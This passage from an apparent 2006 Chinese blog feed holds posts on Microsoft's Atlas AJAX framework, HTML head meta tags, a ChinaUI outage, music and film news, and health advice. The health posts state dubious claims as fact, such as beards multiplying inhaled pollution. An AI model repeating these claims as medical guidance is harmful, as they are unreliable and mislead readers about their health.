<LI>客户端程序API和组件提供丰富的用户界面特点，例如拖拽动作。用户可以将这些特征添加到HTML控制器而只需要很少甚至不需要任何代码。 
<LI>客户端程序开发的函数声明模块与ASP.NET服务控制器的函数声明语法相似。 </LI></UL>
<P align=left>Atlas通过与服务器层的综合进一步扩展了AJAX。这种扩展包括：利用网络服务和ASP.NET网络服务器自动控制和产生Atlas客户端必需的脚本程序。最后Visual Studio IDE可能被应用到基于Atlas的开发流程中。</P>
<P align=left><FONT class=contentText><STRONG>JavaScript</STRONG></FONT><STRONG>是关键</STRONG></P>
<P align=left>Atlas的一个关键目标就是简化客户端编程。<FONT class=contentText>JavaScript</FONT>促进了网络客户开发标准；但是，它也为用其他语言熟练地构建鲁棒应用程序构成了障碍。</P>
<P align=left>Atlas包含了一组<FONT class=contentText>JavaScript</FONT>库，它能够提供创建基于客户端网络应用程序所有必需的东西。微软将这些库描述为ASP.NET体系的一个子集。这个方法在开发者手中隐藏了许多复杂的东西。</P>
<P align=left>API使得开发人员很容易利用脚本库，这些脚本库采用下面所描述的层次或服务的分层方法构建网络客户端应用程序。</P>
<UL>
<LI><STRONG>浏览器兼容层：</STRONG>提供了大多数浏览器交叉兼容性并且消除了读写特殊浏览器脚本的必要。 
<LI><STRONG>核心服务：</STRONG>包含Java类，命名空间，事件处理，继承，数据类型，对象连载扩展编程，它使得人们非常熟悉的.NET开发技术能应用到网络客户端编程。 
<LI><STRONG>基本类库：</STRONG>基本类库包含了诸如字符串构造器，编译器，计时器和追踪器等基本组件。 
<LI><STRONG>网络层：</STRONG>促进HTTP与AJAX方法的通信。管理异步远程调用并且通过仅仅几行脚本代码隐藏复杂性。 
<LI><STRONG>用户界面层：</STRONG>包含客户端诸如动作，用户界面组件和数据绑定性能 
<LI><STRONG>控制层：</STRONG>这些对于网络客户端开发的特殊的Atlas控制可能有：数据限制，对照，限制Atlas动作（由用户界面层提供）诸如拖拽等等。这些控制包括自动完成文本包，数据限制控制和导航控制。 
<LI><STRONG>声明程序：</STRONG>功能强大的声明程序模块促进自定义Atlas组件的生成。它遵循与开发ASP.NET服务器控制的相同的方法。 </LI></UL>
<P>在服务器端，提供具有ASP.NET特征的诸如通过描述、角色、成员资格的安全服务和个性化和全球化的网络服务。Atlas包含众多类似于ASP.NET服务的控制器，通过这些控制器可以发送所有必需的客户端Atlas Java代码。另外，Atlas服务控制器也可利用Java产生Atlas响应。<BR><BR></P>
<P><STRONG>下载Atlas安装程序</STRONG></P>
<P>Atlas平台是一个具有很多特点的综合性开发环境，对于新手来说，学习它可能有些费力。为了掌握其内部构架到外部封装，最好的办法就是练习使用示例代码或编写自己的代码。第一步工作就是下载并运行Atlas安装文件。</P>
<P>安装Atlas就和下载并运行windows安装文件（.msi文件）一样简单。正如Visual Studio模板安装一样，在安装Atlas时将会提示是否需要Atlas对IIS实例的支持功能。默认情况下，Atlas被安装在下面的路径中：</P>
<P>C:\Program Files\Microsoft ASP.NET\Atlas\v2.0.50727\Atlas</P>
<P>Atlas集被命名为Microsoft.Web.Atlas.dll,它包含了由Atlas客户端脚本库组成的客户端程序文件。如果使用Visual Studio并且已经安装了这些模板，则Atlas的组件可以通过客户端程序IDE的IntelliSense得到。</P>
<P>让我们回顾一下在上周的文章中使用Atlas平台重写的AJAX示例。脚本程序在A列表中是这样的，它允许用户通过文本框插入文本，并且允许单击一个链接来显示在标准SQL Server Northwind数据库中匹配的数据。</P>
<P>本页要点：</P>
<UL>
<LI>Atlas脚本管理器控制驱动Atlas处理过程。它提供页面开发和控件开发的功能，并且它提供部分刷新，增长型更新等其他的功能。它的EnablePartialRendering属性允许客户指派是否一部分页面堆叠任务。 
<LI>AtlasUpdatePanel控制器允许客户堆叠部分页面，并且在ScriptManager控制器中被激活。包含在ContentTemplate元素中的数据将会被显示出来。Trigger元素指定什么原因引发堆叠事件。Trigger元素是与控制的事件联系在一起的，当在实例中控制值的改变引发事件的变化时（如选中链接），Trigger也会产生相应变化。 
<LI>SQLDataSource元素用于定义数据源。它在单击链接事件中被引用并且用于GridView控制器组装。 </LI></UL>
<P align=left><STRONG>Web</STRONG><STRONG>开发的又一方法</STRONG><STRONG></STRONG></P>
<P align=left>Atlas是微软公司进入AJAX waters领域的结果。它为使用AJAX的核心特征结合ASP.NET框架设计建立功能强大的Web基于客户端应用程序提供了每一个必需的东西。当不必需要ASP.NET的时候，也很容易使用ASP.NET服务控制和Web服务对用户的操作做出响应。下一周，我们将进一步讲解可利用的不同Atlas组件。</P></DIV>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=362" /> 
	  <id>http://www.openx.cn/default.asp?id=362</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[9.18勿忘国耻强我中华]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-18T13:49:49+08:00</updated>
	  <published>2006-09-18T13:49:49+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://photo.bababian.com/20060918/AC0DBA972808B71531D9F0604DAB274C.jpg[/img]</P>
<P>&nbsp;</P>
<P>今天是9月18日.</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=361" /> 
	  <id>http://www.openx.cn/default.asp?id=361</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[挖到 head 的一些东西~留个纪念]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-09-13T16:59:07+08:00</updated>
	  <published>2006-09-13T16:59:07+08:00</published>
		  <summary type="html"><![CDATA[<P>head区是指首页HTML代码的&lt;head&gt;和&lt;/head&gt;之间的内容。 <BR>必须加入的标签</P>
<P>1.公司版权注释<BR>&lt;!--- The site is designed by Cxty,Inc 06/2000 ---&gt; </P>
<P>2.网页显示字符集<BR>简体中文：&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=gb2312"&gt;<BR>繁体中文：&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=BIG5"&gt;<BR>英 语：&lt;META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"&gt;</P>
<P>3.网页制作者信息<BR>&lt;META name="author" content="<a href="http://www.openx.cn/mailto:cxty@msn.com">cxty@msn.com</A>"&gt;</P>
<P>4.网站简介<BR>&lt;META NAME="DESCRIPTION" CONTENT="xxxxxxxxxxxxxxxxxxxxxxxxxx"&gt;</P>
<P>5.搜索关键字<BR>&lt;META NAME="keywords" CONTENT="xxxx,xxxx,xxx,xxxxx,xxxx,"&gt; </P>
<P>6.网页的css规范<BR>&lt;LINK href="style/style.css" rel="stylesheet" type="text/css"&gt;<BR>(参见目录及命名规范)</P>
<P>7.网页标题<BR>&lt;title&gt;xxxxxxxxxxxxxxxxxx&lt;/title&gt;</P>
<P>.可以选择加入的标签</P>
<P>1.设定网页的到期时间。一旦网页过期，必须到服务器上重新调阅。<BR>&lt;META HTTP-EQUIV="expires" CONTENT="Wed, 26 Feb 1997 08:21:57 GMT"&gt;</P>
<P>2.禁止浏览器从本地机的缓存中调阅页面内容。<BR>&lt;META HTTP-EQUIV="Pragma" CONTENT="no-cache"&gt; </P>
<P>3.用来防止别人在框架里调用你的页面。<BR>&lt;META HTTP-EQUIV="Window-target" CONTENT="_top"&gt;</P>
<P>4.自动跳转。<BR>&lt;META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.openx.cn"&gt;<BR>5指时间停留5秒。</P>
<P>5.网页搜索机器人向导.用来告诉搜索机器人哪些页面需要索引，哪些页面不需要索引。<BR>&lt;META NAME="robots" CONTENT="none"&gt;<BR>CONTENT的参数有all,none,index,noindex,follow,nofollow。默认是all。</P>
<P>6.收藏夹图标<BR>&lt;link rel = "Shortcut Icon" href="favicon.ico"&gt;</P>
<P>所有的javascript的调用尽量采取外部调用.<BR>&lt;SCRIPT LANGUAGE="JavaScript" SRC="script/xxxxx.js"&gt;&lt;/SCRIPT&gt;</P>
<P>附&lt;body&gt;标签：<BR>&lt;body&gt;标签不属于head区，这里强调一下，为了保证浏览器的兼容性，必须设置页面背景&lt;body bgcolor="#FFFFFF"&gt; </P>
<P><BR>&nbsp;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=360" /> 
	  <id>http://www.openx.cn/default.asp?id=360</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[感冒各阶段食疗]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-13T09:13:44+08:00</updated>
	  <published>2006-09-13T09:13:44+08:00</published>
		  <summary type="html"><![CDATA[得了感冒可还没到打针吃药的程度，很多人会自己采用食疗的方法，比如喝点红糖姜汤、白萝卜汁或鸡汤。但这些方法真的有效吗，在感冒的不同阶段，所吃的食物是否也应该不同呢？&nbsp;<BR><BR>　　感冒时最关键的是“按体质和时间吃”，因此食疗法也应该随着病程而转变，有些食物是适合平时调养的，但碰上发炎或已染上流行性感冒时，最好别吃。&nbsp;<BR><BR>　　<STRONG>预防感冒</STRONG><BR><BR>　　白萝卜、茶白萝卜具有消炎、杀菌及利尿功效，是很好的天然消炎药。日常生活中，将生萝卜汁加点蜂蜜，喝下去后可以缓解喉咙肿痛。最近，美国哈佛大学在一项研究中还发现，两星期内每天喝5杯红茶或绿茶的人，身体的免疫能力会大大增强，比起未饮茶者，可以多赶走10倍以上的感冒和流感病毒。&nbsp;<BR><BR>　　<STRONG>感冒初期</STRONG>&nbsp;<BR><BR>　　红糖姜汤：姜中的姜辣素、姜油酮可以发汗，赶走体内蓄积的热气，尤其是水分较少的老姜，促进血液循环效果更好，添加红糖则可补充热量。但姜汤只适用于外感风寒，得了热伤风的人，则不适合饮用。而且，姜会促进血液循环，若有发炎、出血情形，也不要吃。提醒：警惕感冒治疗误区&nbsp;<BR><BR>　　<STRONG>发炎或染上流行性感冒</STRONG><BR><BR>　　一般出现咽喉肿痛、流鼻涕或痰液黄稠、发热高烧等炎症反应时，不宜吃补药，如人参、当归、黄芪及麻油等，以免火上加油，让病情更重。&nbsp;<BR><BR>　　中医认为，性寒的水果如西瓜、梨等具有解热作用，可以用来“熄火”。此外，中医古籍中记载的葱豉汤，除可缓解头痛鼻塞，对于发烧的人也有帮助。&nbsp;<BR><BR>　　做法是取青葱葱白部分，加上豆豉煮汤。葱白具有发汗功效，其中的苹果酸、磷酸等会刺激血液循环，发汗的效果比姜汤更快；发酵的豆豉则可补充体内的蛋白质。&nbsp;<BR><BR>　　流行性感冒饮食五原则：(1)选择容易消化的流质饮食如菜汤、稀粥、蛋汤、蛋羹、牛奶等；(2)饮食宜清淡少油腻，既满足营养的需要，又能增进食欲。可供给白米粥、小米粥、小豆粥、配合甜酱菜、大头菜、榨菜或豆腐乳等小菜，以清淡、爽口为宜；(3)保证水分的供给，可多喝酸性果汁如山楂汁、猕猴桃汁、红枣汁、鲜橙汁、西瓜汁等以促进胃液分泌，增进食欲；(4)多食含维生素C、E及红色的食物，如西红柿、苹果、葡萄、枣、草莓、甜菜、桔子、西瓜及牛奶、鸡蛋等。预防感冒的发生；(5)饮食宜少量多餐。如退烧食欲较好后，可改为半流质饮食，如面片汤、清鸡汤龙须面、小馄饨、菜泥粥，肉松粥、肝泥粥、蛋花粥。<BR><BR>　　提醒：但如果得了流行性感冒就要特别注意了，患者往往怕冷、发热比普通感冒厉害得多，病程很长，严重时会导致并发症。儿童患流感时，除服用小儿感冒冲剂，还应加服清热解毒口服液。&nbsp;<BR><BR>　　<STRONG>关于水果&nbsp;</STRONG><BR><BR>　　感冒期间是否要多吃水果，这也要视个人情况而定。多吃水果可以补充维生素C，但是维生素C是否可以治疗或预防感冒，目前仍有争议。&nbsp;<BR><BR>　　而且果汁或水果多半冰冷，可能会造成支气管收缩，使咳嗽加剧，除了发烧以外，并不适合感冒期间食用。尤其水分多的水果如西瓜、梨等较寒凉，如果有咳嗽、流鼻涕、拉肚子、手脚冰冷等情形，吃了更容易让病情恶化。 <BR><BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=359" /> 
	  <id>http://www.openx.cn/default.asp?id=359</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[有“中国特色”的英语]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-12T14:44:34+08:00</updated>
	  <published>2006-09-12T14:44:34+08:00</published>
		  <summary type="html"><![CDATA[<P><IMG alt="exit - Weird DuJun" src="http://static.flickr.com/57/193006000_e54914e4b1_m.jpg"></P>
<P>出口</P>
<P>&nbsp; <IMG alt="Stay away - Weird DuJun" src="http://static.flickr.com/78/192663708_e06d6ad61f_m.jpg"></P>
<P>请勿靠近</P>
<P><IMG alt="god please - Weird DuJun" src="http://static.flickr.com/21/96290871_e26228da6b_m.jpg"></P>
<P>主义安全</P>
<P>&nbsp; <IMG alt="god pleases again - Weird DuJun" src="http://static.flickr.com/21/98624927_e96bd0ea70_m.jpg"></P>
<P>呵呵~~~~</P>
<P><IMG alt="Hero tablet - Weird DuJun" src="http://static.flickr.com/37/81628065_ae670f63ff_m.jpg">&nbsp; <IMG alt="OMG - Weird DuJun" src="http://static.flickr.com/31/50723549_4ce02acc2a_m.jpg"></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=358" /> 
	  <id>http://www.openx.cn/default.asp?id=358</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[ChinaUI还没恢复!呼呼~]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-12T09:11:13+08:00</updated>
	  <published>2006-09-12T09:11:13+08:00</published>
		  <summary type="html"><![CDATA[<P>ChinaUI已经挂了好几天了,可恶无知的黑客,鄙视鄙视!</P>
<P>&nbsp;</P>
<P>希望ChinaUI尽快恢复吧!祈祷!</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=357" /> 
	  <id>http://www.openx.cn/default.asp?id=357</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[劝君戒去十九种不良生活习惯]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-10T15:08:25+08:00</updated>
	  <published>2006-09-10T15:08:25+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;&nbsp; 1.起床先叠被<BR>&nbsp;&nbsp;&nbsp; 人体本身─也是一个污染源。<BR>&nbsp;&nbsp;&nbsp; 在一夜的睡眠中，人体的皮肤会排出大量的水蒸气，使被子不同程度地受潮。<BR>&nbsp;&nbsp;&nbsp; 人的唿吸和分布全身的毛孔所排出的化学物质有145种，从汗液中蒸发的化学物质有151种。<BR>&nbsp;&nbsp;&nbsp; 被子吸收或吸附水分和气体，如不让其散发出去，就立即叠被，易使被子受潮及受化学物质污染。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 2.不吃早餐<BR>&nbsp;&nbsp;&nbsp; 不吃早餐的人则通常饮食无规律，容易感到疲倦，头晕无力，天长日久就会造成营养不良、贫血、抵抗力降低，并会产生胰、胆结石。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 3.饭后松裤带<BR>&nbsp;&nbsp;&nbsp; 饭后松裤带可使腹腔内压下降，消化器官的活动与韧带的负荷量增加，从而促使肠子蠕动加剧，易发生肠扭转，使人腹胀、腹痛、呕吐，还容易患胃下垂等病。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 4.饭后即睡(应该去散步才对嘛!!!)<BR>&nbsp;&nbsp;&nbsp; 饭后即睡会使大脑的血液流向胃部，由于血压降低，大脑的供氧量也随之减少，造成饭后极度疲倦，易引起心口灼热及消化不良，还会发胖。<BR>&nbsp;&nbsp;&nbsp; 如果血液原已有供应不足的情况，饭后倒下便睡，这种静止不动的状态，极易招致中风。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 5.饱食(八分饱食最佳)<BR>&nbsp;&nbsp;&nbsp; 饱食容易引起记忆力下降，思维迟钝，注意力不集中，应激能力减弱。<BR>&nbsp;&nbsp;&nbsp; 经常饱食，尤其是过饱的晚餐，因热量摄入太多，会使体内脂肪过剩，血脂增高，导致脑动脉粥样硬化。<BR>&nbsp;&nbsp;&nbsp; 还会引起一种叫“纤维芽细胞生长因子”的物质在大脑中数以万倍增长，这是一种促使动脉硬化的蛋白质。<BR>&nbsp;&nbsp;&nbsp; 脑动脉硬化的结果会导致大脑缺氧和缺乏营养，影响脑细胞的新陈代谢。<BR>&nbsp;&nbsp;&nbsp; 经常饱食，还会诱发胆结石、胆囊炎、糖尿病等疾病，使人未老先衰，寿命缩短。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 6.空腹吃糖<BR>&nbsp;&nbsp;&nbsp; 越来越多的証据表明，空腹吃糖的嗜好时间越长，对各种蛋白质吸收的损伤程度越重。<BR>&nbsp;&nbsp;&nbsp; 由于蛋白质是生命活动的基础，因而长期的空腹吃糖，更会影响人体各种正常机能，使人体变得衰弱以致缩短寿命。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 7.吃太咸的食物(吃重口味的朋友请注意了!!!妳无法享受与体会食物本身的美味喔!!)<BR>&nbsp;&nbsp;&nbsp; 钠在人体内滞留，容易形成或加重高血压和心脏病。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 8.留鬍子<BR>&nbsp;&nbsp;&nbsp; 鬍子具有吸附有害物质的性能。<BR>&nbsp;&nbsp;&nbsp; 当人吸气时，被吸附在鬍子上的有害物质就有可能被吸入唿吸道内。<BR>&nbsp;&nbsp;&nbsp; 据对留有鬍子的人吸入的空气成分进行定量分析，发现吸进的空气中含有几十种有害物质，其中包括酚、甲苯、丙酮、异戊问二烯等多种致癌物，留有胡子的人吸入的空气污染指数，是普通空气的4．2倍。<BR>&nbsp;&nbsp;&nbsp; 如果下巴留有鬍子，又留八字鬍，其污染指数可高达7.2倍。<BR>&nbsp;&nbsp;&nbsp; 再加上抽烟等因素，污染指数将高达普通空气的50倍。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 9.跷二郎腿<BR>&nbsp;&nbsp;&nbsp; 跷二郎腿会使腿部血流不畅，影响健康。如果是静脉瘤、关节炎、神经痛、静脉血栓患者，跷腿会使病情更加严重。尤其是腿长的人或孕妇，很容易得静脉血栓。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 10.瞇眼看东西、揉擦眼睛<BR>&nbsp;&nbsp;&nbsp; 瞇眼看东西，眼角易出现鱼尾状皱纹。<BR>&nbsp;&nbsp;&nbsp; 习惯性瞇眼还可使眼肌疲劳、眼花头疼。揉眼时，病菌会由手部传染眼睛，导致发炎、睫毛折断或脱落。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 11.强忍小便(切忌!切忌!)<BR>&nbsp;&nbsp;&nbsp; 强忍小便有可能造成急性膀胱炎，出现尿频、尿疼、小腹胀疼等症状。<BR>&nbsp;&nbsp;&nbsp; 美国科学家发布的一份研究报告指出，有憋尿习惯的人患膀胱癌的可能性比一般人高5倍。<BR>&nbsp;&nbsp;&nbsp; 憋尿时，膀胱贮存的尿液不能及时排出，形成人为的尿潴留。<BR>&nbsp;&nbsp;&nbsp; 如经常憋尿，就会使括约肌和逼尿肌常常处于紧张状态；如果憋尿时间过长，膀胱内尿量不断增加，还会使内压逐渐升高，时间长了就会发生膀胱颈受阻症状，造成排尿困难、不畅，或漏尿、尿失禁等毛病。<BR>&nbsp;&nbsp;&nbsp; 在尿潴留时还易引起并发感染和结石，严重时还影响肾功能。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 12.伏案午睡<BR>&nbsp;&nbsp;&nbsp; 一般人在伏案午睡后会出现暂时性的视力模煳，原因就是眼球受到压迫，引起角膜变形、弧度改变造成的。<BR>&nbsp;&nbsp;&nbsp; 倘若每天都压迫眼球，会造成眼压过高，长此下去视力就会受到损害。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 13.俯睡<BR>&nbsp;&nbsp;&nbsp; 俯睡使嵴柱弯曲,增加肌肉及韧带的压力，使人在睡觉时仍然得不到休息。<BR>&nbsp;&nbsp;&nbsp; 此外，还会增加胸部、心脏、肺部及面部的压力，导致睡醒后面部浮肿，眼睛出现血丝。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 14.睡前不洗脸<BR>&nbsp;&nbsp;&nbsp; 留在脸上的化妆品不洗掉，会引起粉刺和针眼之类的炎症，还能使眼睛发炎，引起皮肤过敏反应。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 15.睡前不刷牙<BR>&nbsp;&nbsp;&nbsp; 睡前刷牙比起床后刷牙更重要，这是因为遗留在口腔中和牙齿上的细菌、残留物在夜里对牙齿、牙龄有较强的腐蚀作用。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 16.睡懒觉<BR>&nbsp;&nbsp;&nbsp; 睡懒觉使大脑皮层抑制时间过长，天长日久，可引起一定程度人为的大脑功能障碍，导致理解力和记忆力减退，还会使免疫功能下降，扰乱肌体的生物节律，使人懒散，产生惰性，同时对肌肉、关节和泌尿系统也不利。<BR>&nbsp;&nbsp;&nbsp; 另外，血液循环不畅，全身的营养输送不及时，还会影响新陈代谢。<BR>&nbsp;&nbsp;&nbsp; 由于夜间关闭门窗睡觉﹝不应该全部关闭只须留一个通风的口径亦可﹞，早晨室内空气混浊，恋床很容易造成感冒、咳嗽等唿吸系统疾病的发生。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 17.热水沐浴时间过长﹝多久是过长呢？多久的时间最适宜呢？﹞<BR>&nbsp;&nbsp;&nbsp; 在自来水中，氯仿和三氯化烯是水中容易挥发的有害物质，由于在冰浴时水滴有更多的机会和空气接触，从而使这两种有害物质释放很多。<BR>&nbsp;&nbsp;&nbsp; 据收集到的数据显示，若用热水盆浴，只有25％的氯仿和40％的三氯化烯释放到空气中；而用热水沐浴，释放到空气中的氯仿就要达到50％，三氯化烯高达80％。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 18.赌博<BR>&nbsp;&nbsp;&nbsp; 赌博之所以有害于一个人的身心健康，是因为赌博本身是一种强烈刺激，长期进行赌博，可使中枢神经系统长期处于高度紧张状态，容易引起激素分泌增加，血管收缩，血压升高，心跳和唿吸加快等，会增加心血管疾病的发病率，还会患消化性溃疡和紧张性头疼。<BR>&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp; 19.生活过度紧张<BR>&nbsp;&nbsp;&nbsp; 从事脑力劳动和做生意的一些中青年人，他们的生命机器在整日超负荷运转，由于他们在心理上的竞争欲强，在生理和心理方面皆承受着巨大的压力。过度的脑力和体力劳动后，随之而来的是抗疲劳和防病能力的减弱，进而可能引发多种疾病。]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=356" /> 
	  <id>http://www.openx.cn/default.asp?id=356</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[张信哲终于发新专集了]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-08T22:25:08+08:00</updated>
	  <published>2006-09-08T22:25:08+08:00</published>
		  <summary type="html"><![CDATA[<P>久违了~阿哲,这沉的够久的了,终于看到阿哲的新专集了吼吼~</P>
<P><STRONG><FONT color=#ff0000 size=6>支持张信哲《做你的男人》,支持正版!</FONT></STRONG></P>
<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 今天张信哲推出最新国语专辑《做你的男人》，新歌尝试多元曲风，《上海姑娘》有浓浓的江南风味；《说谎》则带进跨界音乐概念，请男高音唱和声。唯独拍MV出外景时连续3次都遇上台风，一波三折只好一再改时间，好不容易大功告成。&nbsp; <BR><BR>　　结束和新力的唱片合约1年多，距离上一张专辑，张信哲足足让歌迷等了2年。13日在北京人民大会堂的《时空寄情》演唱会，张信哲在曲目中安插《上海姑娘》、《说谎》及《做你的男人》等4首新歌，让北京歌迷先听为快，歌迷回响热烈，大声尖叫称赞好听。近来除了准备9月22、23日两天的香港演唱会之外，张信哲都在为新专辑作准备。&nbsp; <BR><BR>　　从7月初开始，张信哲陆续开始拍摄新专辑MV，但无论场景选在大陆还是台湾，只要拍户外场景就遇上台风，敲定3次最后都作罢，导演只好先把室内部分拍完，工作人员笑言他们走到哪里，台风就跟到哪里。日前结束北京演唱会及音乐电影记者会后，张信哲抽出时间，终于顺利把MV拍完。 <BR></P>
<P>[img]http://220.168.208.151/real2000//2006/01/320/cd.jpg[/img]</P>
<P>[img]http://gb.chinabroadca&#115;t.cn/mmsource/images/2006/08/22/eo060822953.jpg[/img]</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=355" /> 
	  <id>http://www.openx.cn/default.asp?id=355</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[关于 "CS0016: 未能写入输出文件" 的解决办法]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2006-09-08T12:23:20+08:00</updated>
	  <published>2006-09-08T12:23:20+08:00</published>
		  <summary type="html"><![CDATA[<P>清理系统不小心删除了 windows/temp 目录导致ASP.NET编译后出现 CS0016 的错误.</P>
<P>晕死了~查了资料都说是temp的关系.</P>
<P>之后察觉到原来 windows 下少了 temp 文件夹赶紧加上并设置了 NETWORK SERVICE 控制权限终于好了.</P>
<P>原来这目录这么重要哇~呼呼</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=354" /> 
	  <id>http://www.openx.cn/default.asp?id=354</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[宝贝计划 ROB-B-HOOD]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=2" label="杂七杂八" /> 
	  <updated>2006-09-06T08:47:29+08:00</updated>
	  <published>2006-09-06T08:47:29+08:00</published>
		  <summary type="html"><![CDATA[<P>[img]http://image2.sina.com.cn/ent/d/p/2006-06-30/U1584P28T3D1141350F326DT20060630104714.jpg[/img]</P>
<P><A href="http://www.dingdu.cn/post/baobeijihua.html" target=_blank>宝贝计划</A> ROB-B-HOOD <BR>编 剧： 成龙 袁锦麟 <BR>导 演： 陈木胜 <BR>摄 影： 潘耀明 <BR>主 演： 成龙 古天乐 高圆圆 许冠文 陈宝国 应采儿 蔡卓妍 杜丽莎 <BR>类 型： 功夫/动作/喜剧 <BR>出 品： 华谊兄弟影业投资有限公司<BR>成龙英皇电影有限公司 <BR><FONT color=red>·上映日期： 2006年9月28日(国内)</FONT> <BR>十一期待大片</P>
<P>预告片地址: <A href="http://www.g-film.com/film/real/bbjh_256.ram">http://www.g-film.com/film/real/bbjh_256.ram</A></P>
<P>
<OBJECT height=360 width=480 classid=CLSID:cfcdaa03-8be4-11cf-b84b-0020afbbccfa><PARAM NAME="_ExtentX" VALUE="12700"><PARAM NAME="_ExtentY" VALUE="9525"><PARAM NAME="AUTOSTART" VALUE="-1"><PARAM NAME="SHUFFLE" VALUE="0"><PARAM NAME="PREFETCH" VALUE="0"><PARAM NAME="NOLABELS" VALUE="0"><PARAM NAME="SRC" VALUE="http://www.g-film.com/film/real/bbjh_256.ram"><PARAM NAME="CONTROLS" VALUE="imagewindow"><PARAM NAME="CONSOLE" VALUE="one"><PARAM NAME="LOOP" VALUE="0"><PARAM NAME="NUMLOOP" VALUE="0"><PARAM NAME="CENTER" VALUE="0"><PARAM NAME="MAINTAINASPECT" VALUE="0"><PARAM NAME="BACKGROUNDCOLOR" VALUE="#000000">
<embed src="http://www.g-film.com/film/real/bbjh_256.ram" width="480" height="360" nojava="true" controls="imagewindow" console="one" autostart="True"></OBJECT></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=353" /> 
	  <id>http://www.openx.cn/default.asp?id=353</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[《龙虎门》预告片]]></title>
	  <author>
		 <name>cxty</name>
